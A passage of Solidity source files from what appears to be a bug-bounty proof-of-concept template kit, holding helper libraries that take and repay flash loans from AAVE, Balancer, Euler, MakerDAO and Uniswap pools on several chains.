solidity ^0.8.0; 2 | 3 | import "forge-std/interfaces/IERC20.sol"; 4 | 5 | library AAVEV1FlashLoan { 6 | /** 7 | * @dev struct that hold the reference of IAAVEV1LendingPool and address core 8 | */ 9 | struct Context { 10 | IAAVEV1LendingPool AAVElendingPool; 11 | address core; 12 | } 13 | 14 | bytes4 constant CALLBACK_SELECTOR = 0xee872558; // keccak256(executeOperation(address reserve, uint256 amount, uint256 fee, bytes calldata params)) 15 | 16 | /** 17 | * @dev Allows a user to take a flash loan from AAVE Lending Pool for a given token and amount 18 | * @param token The address of the token to borrow 19 | * @param amount The amount of the token to borrow 20 | */ 21 | function takeFlashLoan(address token, uint256 amount) internal { 22 | Context memory context = context(); 23 | require(address(context.AAVElendingPool) != address(0), "AAVEV1Flashloan: Query to AAVElendingPool failed."); 24 | 25 | context.AAVElendingPool.flashLoan(address(this), token, amount, ""); 26 | } 27 | 28 | /** 29 | * @dev Pay back the flash loan to AAVE Lending Pool 30 | * @param data The data of the flash loan 31 | */ 32 | function payFlashLoan(bytes calldata data) internal { 33 | Context memory context = context(); 34 | (address asset, uint256 amount, uint256 fee, bytes memory params) = unpackData(data); 35 | 36 | require( 37 | msg.sender == address(context.AAVElendingPool), 38 | "AAVEV1FlashLoan: Callback msg.sender was not the lending pool" 39 | ); 40 | 41 | IERC20(asset).transfer(context.core, amount + fee); 42 | } 43 | 44 | /** 45 | * @dev Helper function which returns the on chain context needed to execute a flashloan 46 | * @return The context of the flashloan 47 | */ 48 | function context() internal view returns (Context memory) { 49 | IAAVEV1LendingPoolAddressesProvider lendingPoolProvider; 50 | 51 | if (block.chainid == 1) { 52 | // Ethereum mainnet 53 | lendingPoolProvider = IAAVEV1LendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); 54 | } else { 55 | revert("AAVEV1FlashLoan: Chain not supported"); 56 | } 57 | 58 | IAAVEV1LendingPool lendingPool = IAAVEV1LendingPool(lendingPoolProvider.getLendingPool()); 59 | address core = lendingPool.core(); 60 | return Context(lendingPool, core); 61 | } 62 | 63 | /** 64 | * @dev Helper function which decodes the flash loan callback data 65 | * @param data The data of the flash loan 66 | * @return asset The address of the asset borrowed 67 | * @return amount The amount of the asset borrowed 68 | * @return fee The fee associated with the flash loan 69 | * @return params Additional params associated with the flash loan 70 | */ 71 | function unpackData(bytes calldata data) 72 | internal 73 | pure 74 | returns (address asset, uint256 amount, uint256 fee, bytes memory params) 75 | { 76 | (asset, amount, fee, params) = abi.decode(data[4:], (address, uint256, uint256, bytes)); 77 | return (asset, amount, fee, params); 78 | } 79 | } 80 | 81 | interface IAAVEV1LendingPool { 82 | function flashLoan(address receiver, address reserve, uint256 amount, bytes memory params) external; 83 | function flashLoan( 84 | address receiver, 85 | address[] calldata assets, 86 | uint256[] calldata amounts, 87 | uint256[] calldata modes, 88 | address onBehalfOf, 89 | bytes calldata params, 90 | uint16 referralCode 91 | ) external; 92 | function core() external view returns (address); 93 | } 94 | 95 | interface IAAVEV1LendingPoolAddressesProvider { 96 | function getLendingPool() external view returns (address); 97 | } 98 | -------------------------------------------------------------------------------- /src/flashloan/lib/AAVEV2FlashLoan.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "forge-std/interfaces/IERC20.sol"; 4 | 5 | library AAVEV2FlashLoan { 6 | /** 7 | * @dev struct that hold the reference of IAAVEV3LendingPool 8 | */ 9 | struct Context { 10 | IAAVEV2Pool AAVEPool; 11 | } 12 | 13 | bytes4 constant CALLBACK_SELECTOR = 0x920f5c84; // keccak256(executeOperation(address[] assets, uint256[] amounts, uint256[] premiums, address initator, bytes calldata params)) 14 | bytes constant RETURN_DATA = abi.encode(uint256(0x1)); // bool (true) 15 | 16 | /** 17 | * @dev Allows a user to take a flash loan from AAVE Lending Pool for a given token and amount 18 | * @param tokens The addresses of the tokens to borrow 19 | * @param amounts The amounts of the tokens to borrow 20 | */ 21 | function takeFlashLoan(address[] memory tokens, uint256[] memory amounts) internal { 22 | Context memory context = context(); 23 | require(address(context.AAVEPool) != address(0), "AAVEV2Flashloan: Query to AAVElendingPool failed."); 24 | uint256[] memory modes = new uint256[](tokens.length); 25 | 26 | context.AAVEPool.flashLoan(address(this), tokens, amounts, modes, address(this), "", 0); 27 | } 28 | 29 | /** 30 | * @dev Allows a user to take a flash loan from AAVE Lending Pool for a given token and amount 31 | * @param token The address of the token to borrow 32 | * @param amount The amount of the token to borrow 33 | */ 34 | function takeFlashLoan(address token, uint256 amount) internal { 35 | Context memory context = context(); 36 | require(address(context.AAVEPool) != address(0), "AAVEV2Flashloan: Query to AAVElendingPool failed."); 37 | 38 | address[] memory tokens = new address[](1); 39 | uint256[] memory amounts = new uint256[](1); 40 | uint256[] memory modes = new uint256[](1); 41 | 42 | tokens[0] = token; 43 | amounts[0] = amount; 44 | 45 | context.AAVEPool.flashLoan(address(this), tokens, amounts, modes, address(this), "", 0); 46 | } 47 | 48 | /** 49 | * @dev Pay back the flash loan to AAVE Lending Pool 50 | * @param data The data of the flash loan 51 | */ 52 | function payFlashLoan(bytes calldata data) internal { 53 | Context memory context = context(); 54 | ( 55 | address[] memory assets, 56 | uint256[] memory amounts, 57 | uint256[] memory premiums, 58 | address initiator, 59 | bytes memory params 60 | ) = unpackData(data); 61 | 62 | require(msg.sender == address(context.AAVEPool), "AAVEV2FlashLoan: Callback msg.sender was not the pool"); 63 | 64 | for (uint256 i = 0; i < assets.length; i++) { 65 | IERC20(assets[i]).approve(address(context.AAVEPool), amounts[i] + premiums[i]); 66 | } 67 | } 68 | 69 | /** 70 | * @dev Helper function which returns the on chain context needed to execute a flashloan 71 | * @return The context of the flashloan 72 | */ 73 | function context() internal view returns (Context memory) { 74 | IAAVEV2PoolAddressesProvider poolAddressesProvider; 75 | 76 | if (block.chainid == 1) { 77 | // Ethereum mainnet 78 | poolAddressesProvider = IAAVEV2PoolAddressesProvider(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); 79 | } else if (block.chainid == 137) { 80 | // Polygon 81 | poolAddressesProvider = IAAVEV2PoolAddressesProvider(0xd05e3E715d945B59290df0ae8eF85c1BdB684744); 82 | } else if (block.chainid == 43114) { 83 | // Avalanche 84 | poolAddressesProvider = IAAVEV2PoolAddressesProvider(0xb6A86025F0FE1862B372cb0ca18CE3EDe02A318f); 85 | } else { 86 | revert("AAVEV2FlashLoan: Chain not supported"); 87 | } 88 | 89 | IAAVEV2Pool lendingPool = IAAVEV2Pool(poolAddressesProvider.getLendingPool()); 90 | return Context(lendingPool); 91 | } 92 | 93 | /** 94 | * @dev Helper function which decodes the flash loan callback data 95 | * @param data The data of the flash loan 96 | * @return assets The address of the asset borrowed 97 | * @return amounts The amount of the asset borrowed 98 | * @return premiums The fee associated with the flash loan 99 | * @return initiator The account which initiated the flash loan 100 | * @return params Additional params associated with the flash loan 101 | */ 102 | function unpackData(bytes calldata data) 103 | internal 104 | pure 105 | returns ( 106 | address[] memory assets, 107 | uint256[] memory amounts, 108 | uint256[] memory premiums, 109 | address initiator, 110 | bytes memory params 111 | ) 112 | { 113 | (assets, amounts, premiums, initiator, params) = 114 | abi.decode(data[4:], (address[], uint256[], uint256[], address, bytes)); 115 | return (assets, amounts, premiums, initiator, params); 116 | } 117 | } 118 | 119 | interface IAAVEV2Pool { 120 | function flashLoan( 121 | address receiverAddress, 122 | address[] calldata assets, 123 | uint256[] calldata amounts, 124 | uint256[] calldata interestRateModes, 125 | address behalfOf, 126 | bytes calldata params, 127 | uint16 referralCode 128 | ) external; 129 | } 130 | 131 | interface IAAVEV2PoolAddressesProvider { 132 | function getLendingPool() external view returns (address); 133 | } 134 | -------------------------------------------------------------------------------- /src/flashloan/lib/AAVEV3FlashLoan.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "forge-std/interfaces/IERC20.sol"; 4 | 5 | library AAVEV3FlashLoan { 6 | /** 7 | * @dev struct that hold the reference of IAAVEV3LendingPool 8 | */ 9 | struct Context { 10 | IAAVEV3Pool AAVEPool; 11 | } 12 | 13 | bytes4 constant CALLBACK_SELECTOR = 0x920f5c84; // keccak256(executeOperation(address[] assets, uint256[] amounts, uint256[] premiums, address initator, bytes calldata params)) 14 | bytes constant RETURN_DATA = abi.encode(uint256(0x1)); // bool (true) 15 | 16 | /** 17 | * @dev Allows a user to take a flash loan from AAVE Lending Pool for a given token and amount 18 | * @param tokens The addresses of the tokens to borrow 19 | * @param amounts The amounts of the tokens to borrow 20 | */ 21 | function takeFlashLoan(address[] memory tokens, uint256[] memory amounts) internal { 22 | Context memory context = context(); 23 | require(address(context.AAVEPool) != address(0), "AAVEV3Flashloan: Query to AAVElendingPool failed."); 24 | uint256[] memory modes = new uint256[](tokens.length); 25 | 26 | context.AAVEPool.flashLoan(address(this), tokens, amounts, modes, address(this), "", 0); 27 | } 28 | 29 | /** 30 | * @dev Allows a user to take a flash loan from AAVE Lending Pool for a given token and amount 31 | * @param token The address of the token to borrow 32 | * @param amount The amount of the token to borrow 33 | */ 34 | function takeFlashLoan(address token, uint256 amount) internal { 35 | Context memory context = context(); 36 | require(address(context.AAVEPool) != address(0), "AAVEV3Flashloan: Query to AAVElendingPool failed."); 37 | 38 | address[] memory tokens = new address[](1); 39 | uint256[] memory amounts = new uint256[](1); 40 | uint256[] memory modes = new uint256[](1); 41 | 42 | tokens[0] = token; 43 | amounts[0] = amount; 44 | 45 | context.AAVEPool.flashLoan(address(this), tokens, amounts, modes, address(this), "", 0); 46 | } 47 | 48 | /** 49 | * @dev Pay back the flash loan to AAVE Lending Pool 50 | * @param data The data of the flash loan 51 | */ 52 | function payFlashLoan(bytes calldata data) internal { 53 | Context memory context = context(); 54 | ( 55 | address[] memory assets, 56 | uint256[] memory amounts, 57 | uint256[] memory premiums, 58 | address initiator, 59 | bytes memory params 60 | ) = unpackData(data); 61 | 62 | require(msg.sender == address(context.AAVEPool), "AAVEV3FlashLoan: Callback msg.sender was not the pool"); 63 | 64 | for (uint256 i = 0; i < assets.length; i++) { 65 | IERC20(assets[i]).approve(address(context.AAVEPool), amounts[i] + premiums[i]); 66 | } 67 | } 68 | 69 | /** 70 | * @dev Helper function which returns the on chain context needed to execute a flashloan 71 | * @return The context of the flashloan 72 | */ 73 | function context() internal view returns (Context memory) { 74 | IAAVEV3PoolAddressesProvider poolAddressesProvider; 75 | 76 | if (block.chainid == 1) { 77 | // Ethereum mainnet 78 | poolAddressesProvider = IAAVEV3PoolAddressesProvider(0x2f39d218133AFaB8F2B819B1066c7E434Ad94E9e); 79 | } else if (block.chainid == 10) { 80 | // Optimism 81 | poolAddressesProvider = IAAVEV3PoolAddressesProvider(0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb); 82 | } else if (block.chainid == 42161) { 83 | // Arbitrum 84 | poolAddressesProvider = IAAVEV3PoolAddressesProvider(0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb); 85 | } else if (block.chainid == 137) { 86 | // Polygon 87 | poolAddressesProvider = IAAVEV3PoolAddressesProvider(0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb); 88 | } else if (block.chainid == 250) { 89 | // Fantom 90 | poolAddressesProvider = IAAVEV3PoolAddressesProvider(0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb); 91 | } else if (block.chainid == 43114) { 92 | // Avalanche 93 | poolAddressesProvider = IAAVEV3PoolAddressesProvider(0xa97684ead0e402dC232d5A977953DF7ECBaB3CDb); 94 | } else { 95 | revert("AAVEV3FlashLoan: Chain not supported"); 96 | } 97 | 98 | IAAVEV3Pool pool = IAAVEV3Pool(poolAddressesProvider.getPool()); 99 | return Context(pool); 100 | } 101 | 102 | /** 103 | * @dev Helper function which decodes the flash loan callback data 104 | * @param data The data of the flash loan 105 | * @return assets The address of the asset borrowed 106 | * @return amounts The amount of the asset borrowed 107 | * @return premiums The fee associated with the flash loan 108 | * @return initiator The account which initiated the flash loan 109 | * @return params Additional params associated with the flash loan 110 | */ 111 | function unpackData(bytes calldata data) 112 | internal 113 | pure 114 | returns ( 115 | address[] memory assets, 116 | uint256[] memory amounts, 117 | uint256[] memory premiums, 118 | address initiator, 119 | bytes memory params 120 | ) 121 | { 122 | (assets, amounts, premiums, initiator, params) = 123 | abi.decode(data[4:], (address[], uint256[], uint256[], address, bytes)); 124 | return (assets, amounts, premiums, initiator, params); 125 | } 126 | } 127 | 128 | interface IAAVEV3Pool { 129 | function flashLoan( 130 | address receiverAddress, 131 | address[] calldata assets, 132 | uint256[] calldata amounts, 133 | uint256[] calldata interestRateModes, 134 | address behalfOf, 135 | bytes calldata params, 136 | uint16 referralCode 137 | ) external; 138 | } 139 | 140 | interface IAAVEV3PoolAddressesProvider { 141 | function getPool() external view returns (address); 142 | } 143 | -------------------------------------------------------------------------------- /src/flashloan/lib/BalancerFlashLoan.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "forge-std/interfaces/IERC20.sol"; 4 | 5 | library BalancerFlashLoan { 6 | struct Context { 7 | IBalancer balancerVault; 8 | } 9 | 10 | address constant BALANCER_VAULT_ADDR = 0xBA12222222228d8Ba445958a75a0704d566BF2C8; 11 | bytes4 constant CALLBACK_SELECTOR = 0xf04f2707; // keccak256(receiveFlashLoan(address[], uint256[], uint256[], bytes)) 12 | 13 | /** 14 | * @dev Takes a flash loan from the Balancer Vault. 15 | * @param tokens The addresses of the tokens to borrow. 16 | * @param amounts The amount of each token to borrow. 17 | */ 18 | function takeFlashLoan(address[] memory tokens, uint256[] memory amounts) internal { 19 | Context memory context = context(); 20 | context.balancerVault.flashLoan(address(this), tokens, amounts, ""); 21 | } 22 | 23 | /** 24 | * @dev Takes a flash loan from the Balancer Vault. 25 | * @param token The address of the token to borrow. 26 | * @param amount The amount of the token to borrow. 27 | */ 28 | function takeFlashLoan(address token, uint256 amount) internal { 29 | Context memory context = context(); 30 | 31 | address[] memory tokens = new address[](1); 32 | uint256[] memory amounts = new uint256[](1); 33 | 34 | tokens[0] = token; 35 | amounts[0] = amount; 36 | 37 | context.balancerVault.flashLoan(address(this), tokens, amounts, ""); 38 | } 39 | 40 | /** 41 | * @dev Pays back a flash loan to the Balancer Vault. 42 | * @param data The calldata received from the callback function of the Balancer Vault. 43 | */ 44 | function payFlashLoan(bytes calldata data) internal { 45 | (address[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts) = unpackData(data); 46 | Context memory context = context(); 47 | require( 48 | msg.sender == address(context.balancerVault), "BalancerFlashLoan: Callback msg.sender was not the Balancer" 49 | ); 50 | for (uint256 i = 0; i < tokens.length; i++) { 51 | IERC20(tokens[i]).transfer(msg.sender, amounts[i] + feeAmounts[i]); 52 | } 53 | } 54 | 55 | /** 56 | * @dev Unpacks the data received from the Balancer Vault callback function. 57 | * @param data The calldata received from the callback function. 58 | * returns A tuple of the borrowed tokens, amounts, and fee amounts. 59 | * @return token The addresses of the borrowed tokens 60 | * @return amount The amounts of the borrowed tokens 61 | * @return feeAmount The fee amounts of the borrowed tokens 62 | */ 63 | function unpackData(bytes calldata data) 64 | internal 65 | pure 66 | returns (address[] memory token, uint256[] memory amount, uint256[] memory feeAmount) 67 | { 68 | bytes memory params = data[4:]; // skipping the function selector 69 | (address[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userData) = 70 | abi.decode(params, (address[], uint256[], uint256[], bytes)); 71 | 72 | return (tokens, amounts, feeAmounts); 73 | } 74 | 75 | /** 76 | * @dev Returns the context for the library, including the address of the Balancer Vault. 77 | * @return The context for the library. 78 | */ 79 | function context() internal view returns (Context memory) { 80 | IBalancer balancerVault; 81 | 82 | if (block.chainid == 1) { 83 | // Ethereum mainnet 84 | balancerVault = IBalancer(BALANCER_VAULT_ADDR); 85 | } else { 86 | revert("BalancerFlashLoan: Chain not supported"); 87 | } 88 | 89 | return Context(balancerVault); 90 | } 91 | } 92 | 93 | interface IBalancer { 94 | /** 95 | * @dev Takes a flash loan from the Balancer Vault. 96 | * @param recipient The address of the recipient of the flash loan. 97 | * @param tokens The addresses of the tokens to borrow. 98 | * @param amounts The amount of each token to borrow. 99 | * @param userData Additional data to pass to the Balancer Vault. 100 | */ 101 | function flashLoan(address recipient, address[] memory tokens, uint256[] memory amounts, bytes memory userData) 102 | external; 103 | } 104 | -------------------------------------------------------------------------------- /src/flashloan/lib/EulerFlashLoan.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "forge-std/interfaces/IERC20.sol"; 4 | 5 | library EulerFlashLoan { 6 | /** 7 | * @dev struct that hold the reference of Euler and the dToken 8 | */ 9 | struct Context { 10 | address euler; 11 | IEulerDToken dToken; 12 | } 13 | 14 | bytes4 constant CALLBACK_SELECTOR = 0xc4850ea8; // keccak256(onFlashLoan(bytes memory data)) 15 | 16 | /** 17 | * @dev Allows a user to take a flash loan from Euler for a given token and amount 18 | * @param token The address of the token to borrow 19 | * @param amount The amount of the token to borrow 20 | */ 21 | function takeFlashLoan(address token, uint256 amount) internal { 22 | Context memory context = context(token); 23 | context.dToken.flashLoan(amount, abi.encode(token, amount)); 24 | } 25 | 26 | /** 27 | * @dev Pay back the flash loan to Euler 28 | * @param data The data of the flash loan 29 | */ 30 | function payFlashLoan(bytes calldata data) internal { 31 | (address token, uint256 amount) = unpackData(data); 32 | Context memory context = context(token); 33 | 34 | require(msg.sender == context.euler, "EulerFlashLoan: Callback msg.sender was not Euler"); 35 | 36 | IERC20(token).transfer(msg.sender, amount); 37 | } 38 | 39 | /** 40 | * @dev Helper function that returns the context of the flash loan for a given token 41 | * @param token The address of the token of the flash loan 42 | * @return A struct containing the address of Euler and the dToken 43 | */ 44 | function context(address token) internal view returns (Context memory) { 45 | IEulerMarkets markets; 46 | address euler; 47 | IEulerDToken dToken; 48 | 49 | if (block.chainid == 1) { 50 | // Ethereum mainnet 51 | markets = IEulerMarkets(0x3520d5a913427E6F0D6A83E07ccD4A4da316e4d3); 52 | euler = 0x27182842E098f60e3D576794A5bFFb0777E025d3; 53 | } else { 54 | revert("EulerFlashLoan: Chain not supported"); 55 | } 56 | 57 | dToken = IEulerDToken(markets.underlyingToDToken(token)); 58 | 59 | return Context(euler, dToken); 60 | } 61 | 62 | /** 63 | * @dev Helper function that decodes the flash loan data 64 | * @param data The data of the flash loan 65 | * @return token The address of the token of the flash loan 66 | * @return amount The amount of the token borrowed 67 | */ 68 | function unpackData(bytes calldata data) internal pure returns (address token, uint256 amount) { 69 | (bytes memory params) = abi.decode(data[4:], (bytes)); 70 | (token, amount) = abi.decode(params, (address, uint256)); 71 | return (token, amount); 72 | } 73 | } 74 | 75 | interface IEulerDToken { 76 | function flashLoan(uint256 amount, bytes calldata data) external; 77 | } 78 | 79 | interface IEulerMarkets { 80 | function underlyingToDToken(address token) external view returns (address); 81 | } 82 | -------------------------------------------------------------------------------- /src/flashloan/lib/MakerDAOFlashLoan.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "forge-std/interfaces/IERC20.sol"; 4 | 5 | library MakerDAOFlashLoan { 6 | /** 7 | * @dev struct that hold the reference of dssFlash contract 8 | */ 9 | struct Context { 10 | IDssFlash dssFlash; 11 | } 12 | 13 | bytes4 constant CALLBACK_SELECTOR = 0x23e30c8b; // keccak256(flashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes memory data)) 14 | bytes constant RETURN_DATA = abi.encode(bytes32(0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9)); // keccak256(ERC3156FlashBorrower.onFlashLoan) 15 | 16 | /** 17 | * @dev Allows a user to take a flash loan from MakerDAO for a given token and amount 18 | * @dev Only DAI is supported for MakerDAO's flash mint 19 | * @param token The address of the token to borrow 20 | * @param amount The amount of the token to borrow 21 | */ 22 | function takeFlashLoan(address token, uint256 amount) internal { 23 | Context memory context = context(); 24 | 25 | context.dssFlash.flashLoan(address(this), token, amount, ""); 26 | } 27 | 28 | /** 29 | * @dev Pay back the flash loan to MakerDAO by making an approval 30 | * @param data The data of the flash loan 31 | */ 32 | function payFlashLoan(bytes calldata data) internal { 33 | (address initiator, address token, uint256 amount, uint256 fee, bytes memory data) = unpackData(data); 34 | Context memory context = context(); 35 | 36 | require(msg.sender == address(context.dssFlash), "MakerDAOFlashLoan: Callback msg.sender was not Maker DAO"); 37 | 38 | IERC20(token).approve(msg.sender, amount + fee); 39 | } 40 | 41 | /** 42 | * @dev Helper function that returns the context of the flash loan for a given token 43 | * @return A struct containing the address of the dssFlash contract 44 | */ 45 | function context() internal view returns (Context memory) { 46 | IDssFlash dssFlash; 47 | 48 | if (block.chainid == 1) { 49 | // Ethereum mainnet 50 | dssFlash = IDssFlash(0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA); 51 | } else { 52 | revert("MakerDAOFlashLoan: Chain not supported"); 53 | } 54 | 55 | return Context(dssFlash); 56 | } 57 | 58 | /** 59 | * @dev Helper function that decodes the flash loan data 60 | * @param data The data of the flash loan 61 | * @return initiator The address of the account which initiated the flash loan call 62 | * @return token The address of the token of the flash loan 63 | * @return amount The amount of the token borrowed 64 | * @return fee The amount of the token to be paid as a fee 65 | * @return data Encoded action from MakerDAO 66 | */ 67 | function unpackData(bytes calldata _data) 68 | internal 69 | pure 70 | returns (address initiator, address token, uint256 amount, uint256 fee, bytes memory data) 71 | { 72 | (initiator, token, amount, fee, data) = abi.decode(_data[4:], (address, address, uint256, uint256, bytes)); 73 | return (initiator, token, amount, fee, data); 74 | } 75 | } 76 | 77 | interface IDssFlash { 78 | function flashLoan(address receiver, address token, uint256 amount, bytes memory data) external; 79 | function dai() external view returns (address); 80 | } 81 | -------------------------------------------------------------------------------- /src/flashloan/lib/UniswapV2FlashLoan.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "forge-std/interfaces/IERC20.sol"; 4 | 5 | library UniswapV2FlashLoan { 6 | /** 7 | * @dev struct that hold the reference of IUnisawpV2Pair and asset address 8 | */ 9 | struct Context { 10 | IUniswapV2Pair uniswapV2Pair; 11 | } 12 | 13 | bytes4 constant CALLBACK_SELECTOR = 0x10d1e85c; // keccak256(uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data)) 14 | 15 | /** 16 | * @dev Allows a user to take a flash loan from UniswapV2Pair for a given token pair with amounts 17 | * @param tokens The addresses of the tokens to borrow 18 | * @param amounts The amounts of the tokens to borrow 19 | */ 20 | function takeFlashLoan(address[] memory tokens, uint256[] memory amounts) internal { 21 | require(tokens.length == 2, "UniswapV2Flashloan: Incorrect tokens length"); 22 | require(amounts.length == 2, "UniswapV2Flashloan: Incorrect amounts length"); 23 | Context memory context = context(tokens); 24 | 25 | require(address(context.uniswapV2Pair) != address(0), "UniswapV2Flashloan: Pair contract not found"); 26 | 27 | address token0 = IUniswapV2Pair(context.uniswapV2Pair).token0(); 28 | address token1 = IUniswapV2Pair(context.uniswapV2Pair).token1(); 29 | 30 | uint256 amount0; 31 | uint256 amount1; 32 | 33 | (amount0, amount1) = token0 == tokens[0] ? (amounts[0], amounts[1]) : (amounts[1], amounts[0]); 34 | 35 | IUniswapV2Pair(context.uniswapV2Pair).swap( 36 | // Uniswap V2 requires data be non empty for the flash loan callback to be called 37 | amount0, 38 | amount1, 39 | address(this), 40 | "immunefi.flashloan.UniswapV2FlashLoan" 41 | ); 42 | } 43 | 44 | /** 45 | * @dev Allows a user to take a flash loan from UniswapV2Pair for a given token and amount 46 | * @dev defaults to using WETH pair 47 | * @param token The address of the token to borrow 48 | * @param amount The amount of the token to borrow 49 | */ 50 | function takeFlashLoan(address token, uint256 amount) internal { 51 | address[] memory tokens = new address[](1); 52 | tokens[0] = token; 53 | Context memory context = context(tokens); 54 | 55 | require(address(context.uniswapV2Pair) != address(0), "UniswapV2Flashloan: Pair contract not found"); 56 | 57 | address token0 = IUniswapV2Pair(context.uniswapV2Pair).token0(); 58 | address token1 = IUniswapV2Pair(context.uniswapV2Pair).token1(); 59 | 60 | uint256 amount0; 61 | uint256 amount1; 62 | 63 | (amount0, amount1) = token0 == token ? (amount, amount1) : (amount0, amount); 64 | 65 | IUniswapV2Pair(context.uniswapV2Pair).swap( 66 | // Uniswap V2 requires data be non empty for the flash loan callback to be called 67 | amount0, 68 | amount1, 69 | address(this), 70 | "immunefi.flashloan.UniswapV2FlashLoan" 71 | ); 72 | } 73 | 74 | /** 75 | * @dev Pay back the flash loan to UniswapV2Pair contract 76 | * @param data The data of the flash loan 77 | */ 78 | function payFlashLoan(bytes calldata data) internal { 79 | (address sender, uint256 amount0, uint256 amount1, bytes memory params) = unpackData(data); 80 | 81 | uint256 fee; 82 | address asset; 83 | 84 | if (amount1 > 0) { 85 | asset = IUniswapV2Pair(msg.sender).token1(); 86 | fee = calcFlashloanFee(amount1); 87 | IERC20(asset).transfer(msg.sender, amount1 + fee); 88 | } 89 | if (amount0 > 0) { 90 | asset = IUniswapV2Pair(msg.sender).token0(); 91 | fee = calcFlashloanFee(amount0); 92 | IERC20(asset).transfer(msg.sender, amount0 + fee); 93 | } 94 | } 95 | 96 | /** 97 | * @dev Helper function which returns the on chain context needed to execute a flashloan 98 | * @dev If a single token is provided, defaults to using WETH pair 99 | * @param token The address of the token to borrow 100 | * @return The context of the flashloan 101 | */ 102 | function context(address[] memory token) internal view returns (Context memory) { 103 | IUniswapV2Factory uniswapV2Factory; 104 | IUniswapV2Pair uniswapV2Pair; 105 | 106 | address token0; 107 | address token1; 108 | 109 | address WETH; 110 | address USDC; 111 | 112 | address defaultToken; 113 | 114 | if (block.chainid == 1) { 115 | // Ethereum mainnet 116 | WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 117 | USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; 118 | 119 | // By default will search for WETH <-> token pair 120 | // If Flashloan WETH, automatically use WETH <-> USDC pair 121 | if (token.length == 1) { 122 | defaultToken = token[0] == WETH ? USDC : WETH; 123 | } 124 | uniswapV2Factory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); 125 | } else if (block.chainid == 100) { 126 | // Gnosis mainnet 127 | WETH = 0x6A023CCd1ff6F2045C3309768eAd9E68F978f6e1; 128 | USDC = 0xDDAfbb505ad214D7b80b1f830fcCc89B60fb7A83; 129 | 130 | // By default will search for WETH <-> token pair 131 | // If Flashloan WETH, automatically use WETH <-> USDC pair 132 | if (token.length == 1) { 133 | defaultToken = token[0] == WETH ? USDC : WETH; 134 | } 135 | uniswapV2Factory = IUniswapV2Factory(0xc35DADB65012eC5796536bD9864eD8773aBc74C4); 136 | } else { 137 | revert("UniswapV2Flashloan: Chain not supported"); 138 | } 139 | if (defaultToken != address(0)) { 140 | (token0, token1) = defaultToken < token[0] ? (defaultToken, token[0]) : (token[0], defaultToken); 141 | uniswapV2Pair = IUniswapV2Pair(uniswapV2Factory.getPair(token0, token1)); 142 | } else { 143 | uniswapV2Pair = IUniswapV2Pair(uniswapV2Factory.getPair(token[0], token[1])); 144 | } 145 | 146 | return Context(uniswapV2Pair); 147 | } 148 | 149 | /** 150 | * @dev Helper function which decodes the flash loan callback data 151 | * @param data The data of the flash loan 152 | * @return sender The address of this contract 153 | * @return amount0 The amount of the asset borrowed 154 | * @return amount1 The amount of the asset borrowed 155 | * @return params Additional params associated with the flash loan 156 | */ 157 | function unpackData(bytes calldata data) 158 | internal 159 | pure 160 | returns (address sender, uint256 amount0, uint256 amount1, bytes memory params) 161 | { 162 | (sender, amount0, amount1, params) = abi.decode(data[4:], (address, uint256, uint256, bytes)); 163 | return (sender, amount0, amount1, params); 164 | } 165 | 166 | /** 167 | * @dev Helper function which calculate fees 168 | * @param amount The amount of the asset borrowed 169 | * @return fee The fee associated with the flash loan 170 | */ 171 | function calcFlashloanFee(uint256 amount) internal returns (uint256 fee) { 172 | fee = ((amount * 3) / 997) + 1; 173 | } 174 | } 175 | 176 | interface IUniswapV2Pair { 177 | function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external; 178 | function token0() external view returns (address); 179 | function token1() external view returns (address); 180 | } 181 | 182 | interface IUniswapV2Factory { 183 | function getPair(address token0, address token1) external view returns (address); 184 | } 185 | -------------------------------------------------------------------------------- /src/flashloan/lib/UniswapV3FlashLoan.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "forge-std/interfaces/IERC20.sol"; 4 | 5 | library UniswapV3FlashLoan { 6 | /** 7 | * @dev struct that hold the reference of IUnisawpV2Pair and asset address 8 | */ 9 | struct Context { 10 | IUniswapV3Pool uniswapV3Pool; 11 | address asset; 12 | } 13 | 14 | /** 15 | * @dev struct that hold the reference of fee and tickspacing in the factory contract 16 | */ 17 | struct FeesTickSpacing { 18 | uint24 fee; 19 | int24 tickSpacing; 20 | } 21 | 22 | bytes4 constant CALLBACK_SELECTOR = 0xe9cbafb0; // keccak256(uniswapV3FlashCallback(uint256,uint256,bytes)) 23 | 24 | /** 25 | * @dev Allows a user to take a flash loan from UniswapV3Pair for a given Pair and amount 26 | * @param token The address of the token to borrow 27 | * @param amount The amount of the token to borrow 28 | */ 29 | function takeFlashLoan(address token, uint256 amount) internal { 30 | Context memory context = context(address(0), token, amount); 31 | 32 | require(address(context.uniswapV3Pool) != address(0), "UniswapV3Flashloan: Pair contract not found"); 33 | 34 | address token0 = IUniswapV3Pool(context.uniswapV3Pool).token0(); 35 | address token1 = IUniswapV3Pool(context.uniswapV3Pool).token1(); 36 | 37 | uint256 amount0; 38 | uint256 amount1; 39 | 40 | (amount0, amount1) = token0 == context.asset ? (amount, amount1) : (amount0, amount); 41 | 42 | 